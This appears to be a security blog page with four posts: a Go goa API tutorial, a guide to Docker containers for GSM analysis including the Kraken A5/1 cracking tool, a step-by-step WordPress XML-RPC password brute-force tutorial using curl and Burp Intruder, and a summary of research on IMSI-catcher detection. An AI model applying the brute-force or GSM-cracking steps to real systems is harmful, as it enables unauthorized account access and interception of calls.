Un blog de Seguridad Informática, desde un punto de vista tecnológico

Más reciente

Creating your Go HTTP API easily with goa

Using the great and simple Go http package is more than enough (and what I use) to expose simple HTTP endpoints. But when you need to build a HTTP API with lots of endpoints and user/media types, you have a lot of work ahead.

I found that using goa was a good solutions in those cases, because:

  • You design your API using a design language (DSL).
  • Lot of things are generated for you (useful code, swagger documentation, a client for the API, etc.).
  • You get a Single Source of Trust (SSoT), so for example your swagger documentation is always updated with your controllers.

But I’ll be easier to show it with a quick tutorial, so let’s go 🙂


$ go version
go version go1.8.1 darwin/amd64
$ echo $GOPATH

(I like to use my $HOME as my GOPATH)

  • Install goa.
$ go get -v github.com/goadesign/goa
  • Create your new Go project in the $GOPATH/src directory.
$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets
$ cd $GOPATH/src/github.com/julianvilas/dummy-secrets

Now let’s start with the fun 🙂


First of all, we need to define the API using the goa DSL. Let’s create a dummy API to share secrets using One-Time links (OTL). It’s not the case of a complex API but it’s easy to show how to work with goa.

We will have 2 endpoints:

  1. To store a new secret returning the corresponding OTL.
  2. To retrieve a secret using its OTL.

To define the API create a package called design:

$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets/design

And edit the file design.go (can be named as you want, e.g. api.go or split in different files).

package design

import (
 . "github.com/goadesign/goa/design"
 . "github.com/goadesign/goa/design/apidsl"

var _ = API("dummy-secrets", func() {
 Title("Dummy secrets")
 Description("Share your secrets using a dummy API")

By now we have added some basic information of the API. The BasePath will affect the URLs of all the resources we are going to add later, and the Scheme, Host and Consumes will affect both the client and the swagger documentation.

Now we can bootstrap the API running:

$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design
$ ll
total 8
drwxr-xr-x 7 Redsadic staff 238B 1 may 18:14 app/
drwxr-xr-x 5 Redsadic staff 170B 1 may 18:14 client/
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 design/
-rw-r--r-- 1 Redsadic staff 555B 1 may 18:14 main.go
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 swagger/
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 tool/

As can be seen, some files have been generated:

  • The directory tool will contain a cli to interact with the API.
  • The client will contain a SDK, used by the cli, to interact with the API.
  • The app will implement all the needed low-level HTTP functions.
  • The swagger will contain the autogenerated documentation.
  • In the root directory, the main.go will start the HTTP server will all the API controllers (0 by now). That one, with the design package are the only we should modify. The others from above are auto-generated and shouldn’t be edited by hand.

Let’s take a look at the main.go:

//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design

package main

import (

func main() {
 // Create service
 service := goa.New("dummy-secrets")

 // Mount middleware
 service.Use(middleware.ErrorHandler(service, true))

 // Start service
 if err := service.ListenAndServe(":8080"); err != nil {
 service.LogError("startup", "err", err)


A new goa service is created, applying some useful middleware to it. And then the HTTP server is run listening at the port 8080 we defined in the design.go.

Now we can build, install and run it typing:

$ go install ./...
$ dummy-secrets
dummy-secrets dummy-secrets-cli
$ dummy-secrets
2017/05/01 18:33:04 [INFO] listen transport=http addr=:8080

Now we have a really dummy API, because we haven’t defined yet any resource. So let’s add the endpoints we mentioned.

Edit the design/design.go file and add:

var _ = Resource("Secrets", func() {

 Response(Created, func() {
 Headers(func() {
 Header("Location", String, "Resource location", func() {

 Action("create", func() {
 Description("Store a new Secret")
 Response(InternalServerError, ErrorMedia)

 Action("show", func() {
 Params(func() {
 Param("id", UUID)
 Description("Get a Secret by its ID")
 Response(OK, SecretMedia)
 Response(InternalServerError, ErrorMedia)

var SecretPayload = Type("SecretPayload", func() {
 Attribute("secret", String, func() {
 Description("A secret to be shared with someone.")
 Example(`I'm a secret, share me with someone safely please.`)

var SecretMedia = MediaType("application/vnd.secret+json", func() {

 Attributes(func() {

 View("default", func() {

We have created a new Resource “Secrets”, with path /v1/secrets. Then we have defined two actions for it:

  • create: receives a payload like '{ "secret" : "I am a dummy secret"}' and returns an HTTP Created response, with a Location header pointing to the secret.
  • show: retrieves a secret by its ID and returns the SecretMedia.

As you see we have defined the attributes (with validation requirements), the responses and the data we expect from the users.

Now, let’s bootstrap again (we can delete the main.go file first to let it be generated again).

$ rm main.go
$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design

Now we see that some more stuff has been generated:

  • a secrets.go file that contains the secrets controller.
  • a helper under app to create tests for the controller.

Tne new main.go now contains this new content, that is used to mount the controller into the goa service:

 // Mount "Secrets" controller
 c := NewSecretsController(service)
 app.MountSecretsController(service, c)

And the secrets.go contains:

package main

import (

// SecretsController implements the Secrets resource.
type SecretsController struct {

// NewSecretsController creates a Secrets controller.
func NewSecretsController(service *goa.Service) *SecretsController {
 return &SecretsController{Controller: service.NewController("SecretsController")}

// Create runs the create action.
func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error {
 // SecretsController_Create: start_implement

 // Put your logic here

 // SecretsController_Create: end_implement
 return nil

// Show runs the show action.
func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error {
 // SecretsController_Show: start_implement

 // Put your logic here

 // SecretsController_Show: end_implement
 res := &app.Secret{}
 return ctx.OK(res)


Now we have to implement the logic of these two controllers.


First we need to create a storage where secrets can be stored and retrieved. In order to make things easy to test or replace and well organized, we will define a Persister interface. Let’s put it in its own package persister.

$ mkdir persister
$ touch persister/persister.go

Edit the persister.go and add:

package persister

import (
 uuid "github.com/satori/go.uuid"

type Persister interface {
 Store(secret string) uuid.UUID
 Retrieve(id uuid.UUID) (string, error)


And add also a implementation for the Persister interface:

type MemPersister struct {
 storage map[string]string
 mux sync.RWMutex

func NewMemPersister() *MemPersister {
 return &MemPersister{
 storage: make(map[string]string),

func (mp *MemPersister) Store(secret string) uuid.UUID {
 id := uuid.NewV4()

 defer mp.mux.Unlock()

 mp.storage[id.String()] = secret

 return id

func (mp *MemPersister) Retrieve(id uuid.UUID) (string, error) {
 defer mp.mux.RUnlock()

 secret, ok := mp.storage[id.String()]
 if !ok {
 return "", fmt.Errorf("error: a secret with id %v doesn't exist.", id)
 delete(mp.storage, id.String())

 return secret, nil


Now we need to do two things:

  1. Add a Persister to the secrets controller, and implement the logic.
  2. Inject the MemPersister in the main.

First we modify the secrets.go:

package main

import (

// SecretsController implements the Secrets resource.
type SecretsController struct {
 storage persister.Persister

// NewSecretsController creates a Secrets controller.
func NewSecretsController(service *goa.Service, st persister.Persister) *SecretsController {
 return &SecretsController{
 Controller: service.NewController("SecretsController"),
 storage: st,

// Create runs the create action.
func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error {
 secret := ctx.Payload.Secret
 id := c.storage.Store(secret)

 ctx.ResponseData.Header().Set("Location", app.SecretsHref(id.String()))

 return ctx.Created()

// Show runs the show action.
func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error {
 id := ctx.ID
 secret, err := c.storage.Retrieve(id)
 if err != nil {
 goa.LogError(ctx, err.Error())
 return ctx.NotFound()

 res := &app.Secret{secret}
 if err := res.Validate(); err != nil {
 goa.LogError(ctx, err.Error())
 return ctx.InternalServerError(goa.ErrInternal(err))


 return ctx.OK(res)


And finally the main.go:

//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design

package main

import (

func main() {
 // Create service
 service := goa.New("dummy-secrets")

 // Mount middleware
 service.Use(middleware.ErrorHandler(service, true))

 // Mount "Secrets" controller
 mp := persister.NewMemPersister()
 c := NewSecretsController(service, mp)
 app.MountSecretsController(service, c)

 // Start service
 if err := service.ListenAndServe(":8080"); err != nil {
 service.LogError("startup", "err", err)




Let’s test what we did. First of all, build and install again with go install ./....

Now use the cli to store a secret and the retrieve it:

$ dummy-secrets-cli
CLI client for the dummy-secrets service

 dummy-secrets-cli [command]

Available Commands:
 create Store a new Secret
 help Help about any command
 show Get a Secret by its ID

 --dump Dump HTTP request and response.
 -H, --host string API hostname (default "localhost:8080")
 -s, --scheme string Set the requests scheme
 -t, --timeout duration Set the request timeout (default 20s)

Use "dummy-secrets-cli [command] --help" for more information about a command.


Start the service:

$ dummy-secrets
2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Create route=POST /v1/secrets
2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Show route=GET /v1/secrets/:id
2017/05/01 20:03:21 [INFO] listen transport=http addr=:8080


Store a secret:

$ dummy-secrets-cli create secrets --payload '{ "secret" : "a dummy secret" }' --dump
2017/05/01 20:05:30 [INFO] started id=OIBa7E5P POST=http://localhost:8080/v1/secrets
2017/05/01 20:05:30 [INFO] request headers Content-Type=application/json User-Agent=dummy-secrets-cli/1.0
2017/05/01 20:05:30 [INFO] request body={"secret":"a dummy secret"}
2017/05/01 20:05:30 [INFO] completed id=OIBa7E5P status=201 time=3.515675ms
2017/05/01 20:05:30 [INFO] response headers Date=Mon, 01 May 2017 18:05:30 GMT Content-Length=0 Content-Type=text/plain; charset=utf-8 Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7

In the last line of the log can be seen the Location header where the ID of the secret is returned:


Now retrieve the secret using the ID:

$ dummy-secrets-cli show secrets --id 614dcf25-02e2-43dd-9809-e189abb7d8a7 --pp
2017/05/01 20:08:28 [INFO] started id=0VBkwhgo GET=http://localhost:8080/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7
2017/05/01 20:08:28 [INFO] completed id=0VBkwhgo status=200 time=4.074434ms
 "secret": "a dummy secret"

If you try to run it again, you’ll see that the secret is no longer available, as we implemented it as an OTL.

You can test it also with curl:

$ curl -vvv -X POST --data '{ "secret" : "a dummy secret" }' http://localhost:8080/v1/secrets
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying ::1...
* Connected to localhost (::1) port 8080 (#0)
> POST /v1/secrets HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.51.0
> Accept: */*
> Content-Length: 31
> Content-Type: application/x-www-form-urlencoded
* upload completely sent off: 31 out of 31 bytes
< HTTP/1.1 201 Created
< Location: /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
< Date: Mon, 01 May 2017 18:13:25 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact

$ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
* Trying ::1...
* Connected to localhost (::1) port 8080 (#0)
> GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.51.0
> Accept: */*
< HTTP/1.1 200 OK
< Content-Type: application/vnd.secret+json
< Date: Mon, 01 May 2017 18:14:58 GMT
< Content-Length: 28
{"secret":"a dummy secret"}
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact
$ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
* Trying ::1...
* Connected to localhost (::1) port 8080 (#0)
> GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.51.0
> Accept: */*
< HTTP/1.1 404 Not Found
< Date: Mon, 01 May 2017 18:15:00 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact


And that was all! We got it running 🙂

You got the example in github, just:

$ go get -v github.com/julianvilas/dummy-secrets

Also you can see the swagger doc in http://swagger.goa.design/?url=julianvilas/dummy-secrets/design.


  1. Create a FilePersister and to store in files instead of memory (or a S3Persister, it’s easy to replace the Persister as we created it as an interface).
  2. Create tests! You can use the app/test helpers goa generated for you.
  3. Create documentation.



Cuando las ballenas vuelan (episodio II) – Creando un entorno de análisis GSM usando Docker (parte 1)

Esta entrada surge inspirada por ésta otra de Fox Glove Security: When Whales Fly – Building a Wireless Pentest Environment using Docker donde se explica cómo utilizar contenedores Docker para hacer más fácil el uso de algunas herramientas de pentesting WiFi. En este caso lo que se ha querido “contenizar” son herramientas para analizar comunicaciones GSM.

Aunque en esa entrada hay un excelente resumen sobre contenedores, Docker, imágenes y la filosofía de trabajo, aquí rescatamos algunos aspectos importantes para los que no sepan de que va el tema:

  • A nivel usuario, Docker (o LXC) no deja de comportarse como una especie de hypervisor, aunque son conceptos diferentes. Una analogía que me ayudó a entender la diferencia en el aislamiento que proporcionan es: cuando se virtualiza con un hypervisor “clásico” las máquinas virtuales son como casa individuales; los contenedores, en cambio, se parecen más a los apartamentos de un mismo edificio (Containers are not VMs).
  • Docker es el motor sobre el que corren los contenedores y estos comparten recursos, a través del kernel, con el host y con los otros contenedores.
  • Docker permite ejecutar versiones específicas de aplicaciones sin la penalización de rendimiento que suponen las máquinas virtuales.
  • Las imágenes Docker serían el equivalente a los binarios tradicionales en los SO, a partir de ellas se pueden crear contenedores (el equivalente a los procesos en los SO tradicionales).
  • Los contenedores pueden ser efímeros o perdurar tanto como quiera el usuario.
  • Los contenedores se pueden ejecutar de forma interactiva o como servicios.

Toda la información sobre Docker puede encontrarse en su propia sección de documentación:

Software Defined Radio

Contenedor base

El primer paso ha sido crear un contenedor con las herramientas básicas para trabajar con SDRs (Software Defined Radio), como por ejemplo los basados en hardware RTL, y con soporte para ejecutar aplicaciones gráficas aceleradas por hardware. El motivo para crear este contenedor base es poder aprovecharlo a la hora de trabajar con aplicaciones para otros protocolos de radio.

Nota: RTL-SDR es un tipo de SDR muy barato que utiliza dongles USB basados en el xip RTL2832U pensados para ver la TV y escuchar la radio. Mediante los esfuerzos combinados de Antti Palosaari, Eric Fry y Osmocom se descubrió que era posible acceder directamente a los datos de la señal I/Q de estos dispositivos, lo que permitió convertirlos en SDRs mediante un nuevo driver.

El código para crear la imagen Docker está en este repositorio:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-gnuradio-rtl-toolkit

Como se puede ver en el Dockerfile la imagen:

Una vez compilada la imagen o descargada de Docker Hub, ya podremos realizar las primeras pruebas: por ejemplo, para comprobar que podemos acceder al dispositivo RTL desde el contenedor, podemos ejecutar el comando rtl_test dentro de un contenedor efímero:

docker run --rm --device=/dev/bus/usb/002 --entrypoint rtl_test pachulo/xenial-gnuradio-rtl-toolkit

Nota: una forma fácil de averiguar en que HUB USB hemos conectado nuestro dispositivo es ejecutar el comando dmesg justo después de conectarlo. Para el ejemplo de arriba me he guiado por esta información:

[10891.158562] usb 2-1.3: new high-speed USB device number 14 using ehci-pci
[10891.279033] usb 2-1.3: New USB device found, idVendor=0bda, idProduct=2838
[10891.279039] usb 2-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[10891.279041] usb 2-1.3: Product: RTL2838UHIDIR
[10891.279043] usb 2-1.3: Manufacturer: Realtek
[10891.279045] usb 2-1.3: SerialNumber: 00000001


Basado en la anterior se ha creado una imagen con gr-gsm, un software basado en GNURadio y cuyo objetivo es (según su propio autor):

The aim is to provide set of tools for receiving information transmitted by GSM equipment/devices.

En el siguiente enlace su pueden obtener los ficheros para compilar la imagen Docker:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-gr-gsm

Tal y como se puede observar en el Dockerfile, para crear la imagen se compila el software desde el código fuente y se copian un par de archivos para su correcto funcionamiento.

Antes de poder utilizar la imagen habrá que explicar un par de cosas sobre ejecutar aplicaciones basadas en X11 dentro de contenedores.

Aplicaciones gráficas dentro de contenedores

Ejecutar aplicaciones con GUI dentro de contenedores es un problema que ya se ha abordado anteriormente y para el que existen varias soluciones. Y si queremos obtener aceleración por hardware para utilizar aplicaciones OpenGL (como por ejemplo GNURadio) la cosa se complica un poco más, tal y como se explica en HW accelerated GUI apps on Docker.

Además de todo esto, si el sistema utiliza una tarjeta gráfica NVIDIA con el driver privativo, hará falta instalar en el host nvidia-docker, una utilidad de NVIDIA para crear y ejecutar imágenes Docker con acceso a sus GPUs (el porqué es necesaria la utilidad está explicado en su wiki).

La solución que se ha utilizado para este caso es la siguiente:

  • Antes de crear el contenedor:
  • Y al crearlo:
    • Se monta el nuevo fichero Xauthority dentro del contenedor.
    • Se configura la variable de entorno XAUTH en el contenedor para que apunte al nuevo fichero Xauthority.
    • Se pasa la variable de entorno DISPLAY al contenedor con el mismo valor que la del host.
    • Se monta el fichero que hará de socket X dentro del contenedor.
    • Se monta el fichero de caracteres que representa a la tarjeta gráfica dentro del contenedor (de esto se encarga nvidia-docker para GPUs NVIDIA).

Ya que creo que ofrece suficiente aislamiento: el contenedor solo tendrá acceso de lectura-escritura al socket X y al fichero Xauthority y solo se podrá acceder al servidor X11 con la cookie creada para el nuevo fichero Xauthority, además de funcionar con la aceleración por hardware.

Nota: El contenedor creado funciona en mi máquina Ubuntu, que utiliza una tarjeta NVIDIA y el driver privativo, con nvidia-docker pero lo suyo sería ver si en otros sistemas basados en Linux con gráficas Intel y ATI también funciona (utilizando los drivers basados en MESA en esos casos, tal y como se explica aquí). Los usuarios de Windows y MacOS pueden probar alguna de las cosas que se comentan en este issue de Docker.

gr-gsm livemon

Una vez compilada o descargada la imagen y instalado nvidia-docker en el host ya se podrá realizar alguna prueba, como por ejemplo sintonizar el canal de broadcast (BCCH) de estaciones base próximas con la aplicación grgsm_livemon, ejecutando el siguiente script:

# Video support
touch $XAUTH
xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge -

# Launch container
nvidia-docker run \
 --volume $XAUTH:$XAUTH \
 --env DISPLAY \
 --volume $XSOCK:$XSOCK \
 --env="QT_X11_NO_MITSHM=1" \
 --device=/dev/bus/usb/002 \
 --rm \
 --entrypoint grgsm_livemon \

Si todo ha ido bien, se tendría que abrir una ventana como esta:


Otra de las imágenes que se ha creado ha sido una con OsmocomBB listo para usar. Toda la información sobre OsmocomBB se puede encontrar en su wiki, pero básicamente:

OsmocomBB is an Free Software / Open Source GSM Baseband software implementation. It
intends to completely replace the need for a proprietary GSM baseband software, such as
– drivers for the GSM analog and digital baseband (integrated and external) peripherals
– the GSM phone-side protocol stack, from layer 1 up to layer 3
In short: By using OsmocomBB on a compatible phone, you will be able
to make and receive phone calls, send and receive SMS, etc. based on Free Software only.

En el siguiente enlace su pueden obtener los ficheros para compilar la imagen Docker:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-osmocombb

Nota: Para poder utilizar esta imagen hará falta un teléfono compatible y un cable/adaptador USB-serie.

Cargar firmware y ejecutar la aplicación mobile

Una vez descargada (o compilada) la imagen y conectado el teléfono con el adaptador USB-serie, podemos arrancar un contenedor con la misma:

docker run --device=/dev/ttyUSB0 --rm -it --name test-osmocombb pachulo/xenial-osmocombb

Podemos probar a cargar un firmware en el teléfono ejecutando el comando osmocon dentro del contenedor:

cd /osmocom-bb/src/host/osmocon && ./osmocon -p /dev/ttyUSB0 -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin

Y haciendo una pulsación corta del botón de encendido del teléfono.

Si el firmware se ha cargado de forma correcta, el siguiente paso será conectarnos al contenedor desde otro terminal y ejecutar “mobile”, la implementación de la funcionalidad de un teléfono móvil normal que correrá en el contenedor:

docker exec -ti test-osmocombb /bin/bash
cd /osmocom-bb/src/host/layer23/src/mobile && ./mobile -i

Y que nos permitirá conectarnos y interactuar con el teléfono a través de telnet:

docker exec -ti test-osmocombb /bin/bash
telnet 4247


Otra de las herramientas que se utilizan para el análisis de seguridad de redes GSM es Kraken, un software que:

… allows the ‘cracking’ of A5/1 keys used to secure GSM 2G calls and SMS.

Nota: Para poder ejecutar esta herramienta será necesario un disco de 2TB para almacenar las rainbow tables (y unos 1.8TB de espacio de disco en otro sitio para descargarlas y poder volcarlas luego). Todo el proceso está explicado en Passive GSM interception Part 1. Para el volcado de las tablas se puede utilizar el contenedor.

Los ficheros para compilar la imagen están aquí:

Así como ésta ya compilada en Docker Hub:

docker pull pachulo/xenial-kraken

Para ejecutarla necesitaremos clonar el repositorio:

git clone https://github.com/pachulo/docker-xenial-kraken

Y después ejecutar el contenedor con algo similar a esto:

docker run -ti --rm --device=/dev/disk/by-id/wwn-0x5000c50091dc385d-part2:/dev/xvdc2 -v /media/$USER/DRIZZLECHAIR/kraken/indexes/:/kraken/indexes/ pachulo/xenial-kraken


En la continuación de esta entrada veremos cómo ejecutar algunos escenarios de análisis y ataque en GSM utilizando estos contenedores.

WordPress XMLRPC brute force attacks via BurpSuite

Hello to everyone, my name is Lara and this is my first post, I wish you will enjoy and it will be helpful. 🙂

Nowadays brute force attacks are very common on the internet on servers and applications. Probably if you have a server online you are able to see this kind of attacks through your server logs. The most common attack surfaces are ssh service, web server or could be via authentication form on your web page (application based attack).

WordPress is a well-known CMS (Content Management System), brute force attacks against it are very common and usually attackers use the authentication form, however, is not the only way that the malicious guys can do it.

What is XML-RPC interface?

“It’s a specification and a set of implementations that allow software running on disparate operating systems, running in different environments to make procedure calls over the Internet.
It’s remote procedure calling using HTTP as the transport and XML as the encoding. XML-RPC is designed to be as simple as possible, while allowing complex data structures to be transmitted, processed and returned.”

XML-RPC functionality is turned on by default since WordPress 3.5, but not all the WordPress administrators know this functionality and this utility, because of this, they do not protect properly the XML-RPC interface.

Ok, then, the question is, why WordPress uses this interface?

Basically, WordPress uses this interface to post directly to your blog using weblog clients or email apps and for the pingback and trackback functionality.

There are a lot of plugins in WordPress that you can use to prevent brute force attacks through the login form, but to avoid this kind of attack through XML-RPC interface is a bit more complicated. To do so, you need to modify the .htaccess file and disable the XML-RPC interface (if you don’t want to use it).

In this article, I am going to cover how to perform brute force attacks against WordPress XML-RPC interface.

Brute force attack.

There are two types of brute force attack that we can do against XML-RPC interface.

Simple brute force attack : You can try in each request one user and one password
Amplification brute force attack available till version 3.5.1 of WordPress: You can try in each request more than one user and password.

The attack (Simple brute force attack )

To check if the XML-RPC interface is enabled in the WordPress you can use the following URL:


If you can see this in your browser means that the xmlrpc.php interface is enabled.



Next step we will check if is possible interact directly with the WordPress API. To do this we have to create a file to check if the WordPress accepts POST request.

vim hello.txt

Write the following XML code to the file:

<?xml version="1.0" encoding="iso-8859-1"?>


The xmlrpc.php file needs the valid XML sent to it as a POST request. The easiest way to do this in Linux is to use CURL. The following command will send the XML contained within the ‘demo.sayHello.txt’ file as a POST request to the remote WordPress API:
curl –data @hello.txt  http://url/xmlrpc.php

The expected server response should look like the following:

<?xml version="1.0" encoding="UTF-8"?>


So far we checked that we are able to do API calls on the WordPress. We will use another API call to achieve our objective, get a valid user and password by doing a brute force attack.

The method that we will use is wp.getUsersBlogs.

Firstly we need to create a file with the valid XML code to call the API method.

vim getusers.txt

The file should contain this code

<?xml version="1.0" encoding="iso-8859-1"?>


Then we should call the method, to checked if the user and password are correct.

curl –data @getusers.txt http://url/xmlrpc.php

As we can see, as follow the API respond us with the result of the API call.

<?xml version="1.0" encoding="UTF-8"?>
               <value><string>Incorrect username or password.</string></value>

At this point, we know how to check if the credentials are valid trough XML-RPC interface, but in this way is a tedious task to do.

Our goal is to intercept the request in a web proxy, (we will use burp suite), and automate the task.

As we can see before to make the API call we use curl, if we want to automate the attack we should configure curl to send the request trough the web proxy.

curl –data @getusers.txt http://url/xmlrpc.php –proxy localhost:8080

With the previous command, we will send the request trough the web proxy, and we will be able to start our brute force attack.


Intercept the request by burpsuite


At this point the next step is to send the request to the Intruder module in BurpSuite, this module will permit us to automate the attack.

We have to choose the parameters that we want to make the attack, in this case, we will put the focus, on the second parameter (the password).


Choose the position for the payload


Step forward we have to choose the payloads that we want to use, as you can see the picture we will use a password list.

After this, we only have to click the button “start attack”.


Choose payloads file


Finally, we only need to cross our fingers and wait a little bit to see the results.


Get the correct credentials

If you are lucky, you will get the credentials, and after this, you can access the system. Congratulations!

Leave your comments and your questions if you have any doubt! I’m will happy to help you.

Detección de IMSI catchers: también desde la red del operador

Hace aproximadamente un mes, investigadores de las empresas SBA Research y T-Mobile Austria publicaron un interesante white paper sobre la detección de IMSI catchers titulado “The Messenger Shoots Back: Network Operator Based IMSI Catcher Detection“.

El IMSI (International Mobile Subscriber Identity) es el identificador único que se utiliza para distinguir a los usuarios de redes móviles de forma inequívoca y, en la mayoría de estándares (GSM, UMTSLTE), se almacena en la tarjeta SIM (Subscriber Identity Module).

Los IMSI catchers es el nombre que reciben los dispositivos maliciosos utilizados para localizar usuarios móviles a través de su IMSI, aunque también se pueden configurar para realizar ataques man-in-the-middle y interceptar las comunicaciones de las víctimas.

El título del paper hace referencia a un cambio de paradigma a la hora de intentar detectar ataques realizados con estos dispositivos; en vez de plantear la detección desde la perspectiva del “cliente” (los dispositivos móviles), han estudiado la viabilidad de detectarlos desde las redes de los operadoras.

Aquí el resumen del paper:

An IMSI Catcher, also known as Stingray or rogue cell,
is a device that can be used to not only locate cellular phones, but
also to intercept communication content like phone calls, SMS or data
transmission unbeknown to the user. They are readily available as
commercial products as well as do-it-yourself projects running open-
source software, and are obtained and used by law enforcement agencies
and criminals alike. Multiple countermeasures have been proposed recently
to detect such devices from the user’s point of view, but they are limited
to the nearby vicinity of the user.
In this paper we are the first to present and discuss multiple detection
capabilities from the network operator’s point of view, and evaluate
them on a real-world cellular network in cooperation with an European
mobile network operator with over four million subscribers. Moreover, we
draw a comprehensive picture on current threats against mobile phone
devices and networks, including 2G, 3G and 4G IMSI Catchers and
present detection and mitigation strategies under the unique large-scale
circumstances of a real European carrier. One of the major challenges
from the operator’s point of view is that cellular networks were specifically
designed to reduce global signaling traffic and to manage as many
transactions regionally as possible. Hence, contrary to popular belief,
network operators by default do not have a global view or their network.
Our proposed solution can be readily added to existing network monitoring
infrastructures and includes among other things plausibility checks of
location update trails, monitoring of device-specific round trip times
and an offline detection scheme to detect cipher downgrade attacks, as
commonly used by commercial IMSI Catchers.

Tras la introducción, el paper detalla el funcionamiento de las redes móviles, cuyo diseño pensado para minimizar el tráfico de control (o señalizacion) no ayuda a la hora de poder centralizar la información sobre los usuarios ni, por lo tanto, detectar ataques realizados con IMSI catchers.

Tras esto, pasa a enumerar las principales capacidades de estos dispositivos:

  • Tracking: El objetivo básico de este modo es recoger los IMSIs (identificadores) de los usuarios.
  • Capturing: En este caso se realiza un man-in-the-middle de todas las comunicaciones móviles. Para ello, normalmente, se necesitará hacer downgrade a un estándar móvil roto a nivel criptográfico (2G básicamente) al dispositivo de la víctima, ya sea utilizando jamming o características de los propios estándares.
  • Passive monitoring: Aquí ya se ha identificado a la víctima y simplemente se monitoriza su ubicación y/o tráfico.

Para las pruebas han utilizado 22 modelos diferentes de terminales, observando su comportamiento después de recibir ataques típicos realizados por IMSI catchers. Con estos resultados y el acceso a datos reales de la red de T-Mobile Austria proporcionados por ellos mismos, han intentado implementar estrategias de detección que puedan ser aplicables a una red móvil real, siendo las conclusiones a nivel general:

  • Para los IMSI catchers que hacen tracking se han encontrado que es el ataque más difícil de detectar desde el punto de vista del operador, ya que apenas produce tráfico en la red legítima.
  • Para los que hacen capturing, en cambio, han encontrado métodos que podrían ser bastante fiables a la hora de detectar este tipo de ataques, como por ejemplo agrupar geográfica y temporalmente anomalías en el uso de los diferentes algoritmos de cifrado que permite GSM por parte de los terminales. Por ejemplo: si se detecta que a una hora determinada varios terminales localizados en la misma área fueron forzados a utilizar conexiones GSM cifradas con el algoritmo A5/1 (criptograficamente roto).

En cualquier caso, la detección se realizaría una vez finalizado el ataque y sería siempre complementaria a la que el usuario haya podido realizar desde su terminal.

Precisamente en la penúltima sección del paper se habla de algunos esfuerzos para detectar este tipo de amenazas desde el punto de vista del “cliente” que, aunque no del todo fiables, se han materializado en diversas implementaciones; estas son las que yo conozco:

  • CatcherCatcher: Primera prueba de concepto de la gente de SRLabs para la detección de IMSI catchers utilizando terminales con un Base Band Processor compatible con OsmocomBB. Estos son los comportamientos que analizan para detectar IMSI catchers.
  • SnoopSnitch: Segunda iteración de SRLabs, en forma de aplicación Android que necesita de permisos de Root y un terminal que utilice un Base Band Processor de Qualcomm. Sirve de base para la obtención de los datos de GSMmap y en el documento IMSI Catcher Score detallan la heurística que utilizan para detectar los IMSI Catchers.
  • Android IMSI-Catcher Detector: Esfuerzo de la comunidad para crear una solución compatible con cualquier terminal Android y que no requiera permisos de Root. Tiene unos objetivos muy ambiciosos pero aún está en estado Alpha. Su wiki contiene muchísima información sobre IMSI catchers y sobre cómo detectarlos.
  • IMSI-Catch Me If You Can: IMSI-Catcher-Catchers (Presentación): Presentado por la misma SBA Research hace un par de años. Incluye dos soluciones (código fuente):
    • mobile ICC: Aplicación Android que no necesita permisos de Root. Permite acceder a información sobre parámetros de las estaciones base, como por ejemplo: correlación geográfica, las capacidades anunciadas, etc… y otros datos, para intentar detectar IMSI catchers.
    • stationary ICC: Diseñado para funcionar sobre una RaspberryPi con un módem GSM Telit GT864 sin SIM. Permite detectar algunos comportamientos típicos de IMSI catchers escuchando los canales de broadcast (BCCH) y de control (CCCH) de las estaciones base.
  • FakeBTS: Proyecto de Pedro Cabrera que utiliza un enfoque similar al stationary ICC, pero usando terminales compatibles con OsmocomBB o SDRs. También permite realizar baselines de las BTS visibles.

En otro punto también se detallan otros ataques que se pueden realizar contra usuarios móviles de forma directa o conjuntamente con IMSI catchers :

  • Los basados en debilidades del protocolo de backbone SS7: consulta de IMSIs y recuperación de claves de cifrado de sesión.
  • Que afectan a la SIMs: clonado y rooting de las mismas.
  • Envío de SMSs sin autenticar (incluso en algunos terminales 3G).
  • Presidential alert messages son un tipo de mensajes de texto broadcast especiales que los terminales no pueden ignorar.
  • Obtención de la localización GPS por parte de la red móvil.
  • Obtención de la localización por triangulación por parte de la red móvil.

Las conclusiones finales, aunque demuestran que los IMSI catchers aún representan un gran problema para las actuales infraestructuras de telefonía móvil, dejan abierto un camino donde las operadoras, además de los usuarios, podrían llegar a detectar ataques realizados con estos dispositivos, aunque para que fuera realmente efectivo deberían realizarse algunos cambios en los sistemas de monitorización de sus redes.

